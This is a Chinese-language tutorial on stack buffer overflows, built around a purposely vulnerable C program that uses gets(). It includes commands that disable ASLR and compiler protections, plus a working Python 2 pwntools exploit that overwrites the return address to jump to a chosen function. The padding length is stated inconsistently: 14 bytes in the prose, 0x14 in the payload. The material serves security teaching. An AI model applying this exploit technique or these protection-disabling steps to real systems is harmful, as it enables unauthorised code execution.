栈溢出的概念

栈溢出:向栈中某个变量写入的字节数超过了变量本身所申请的空间,与其相邻的空间变量的值被改变。

栈溢出是一种缓冲区溢出。类似的还有堆溢出、bss段溢出等溢出方式。

栈溢出是一种可以使程序崩溃的漏洞,我们可以利用漏洞控制程序流程甚至拿下系统shell权限。

发生栈溢出的条件:

  • 程序向栈上写数据
  • 写入的数据大小没有被正常控制

基本例子

最典型的栈溢出是用攻击者所能控制的地址覆盖程序函数返回地址。

需要确保这个地址所在的段具有可执行权限

下面,列举一个简单的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

这个程序的作用是读取字符串并打印字符串。

我们希望利用漏洞可以控制程序执行success函数

栈溢出

查看PIE保护

PIE保护会打乱加载基址,为了避免被打乱,我们执行下列操作。

首先,我们使用gcc -v查看pie保护是否开启:

pie.png

如图所示,–enable-default-pie 代表已经开启pie保护

关闭ASLR

开启PIE保护并开启ASLR,加载基址才会被打乱。

单纯开启PIE并不会打乱基址,但和no PIE时的基址不同。

为了使后续操作简便,我们关闭ASLR保护。

我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制ASLR:

1
echo 0 > /proc/sys/kernel/randomize_va_space

0代表关闭ASLR,1代表开启ASLR,2代表增强ASLR。

编译程序

然后,我们编译上述测试程序:

1
2
3
gcc -m32 -fno-stack-protector -no-pie example.c -o example 
//-m32:编译32位程序 //-fno-stack-protector 关闭堆栈保护
//-no-pie 关闭pie保护

comp.png

如上图所示,编译成功,提示我们gets是一个危险的函数

因为gets读取一行字符串,直至遇到换行符截止,并不检查字符串长度。

checksec检查程序

我们使用checksec检查程序信息:

1
checksec example

checksec.png

IDA逆向分析

拖入IDA进行分析,首先在Exports中找到success函数的地址(08049172):

ida3.png

然后左侧找到vulnerable函数,按下F5进行反编译:

ida1.png

得到下面结果:

ida2.png

相应的栈结构:

ReturnAddress
ebp
ebp - 14

我们如果想覆盖返回地址,需要输入 14个字节的字符串 + 覆盖ebp(4字节)+ 覆盖的内容

1
14*'a'+'bbbb'+success_addr

编写exploit脚本

为什么需要编写脚本?

如果我们直接输入的话,14 * ‘a’ 和 ‘bbbb’ 没问题,但是地址如何输入呢?

每个值是按字节存放的,且一般是小端存储(低位字节序内容放在低字节、高位字节序内容放在高字节)。

所以08049172表示形式:

1
\x72\x91\x04\x08

如果我们直接输入的话,\和x都会被算作字符,所以我们通过编写脚本进行漏洞注入。

编写脚本

这里利用pwntools进行编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./example')
success_addr = 0x08049172
## 构造payload
## p32() 让整数转换为小端序列 p16() p64()同理
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

漏洞注入

执行exploit脚本,成功利用漏洞:

final.png

总结

栈溢出的流程:

  1. 寻找危险函数
  2. 确定填充长度
  3. 构造注入内容

危险函数如下:

  • 输入函数:gets、scanf、vscanf
  • 输出函数:sprintf
  • 字符串:strcpy、strcat、bcopy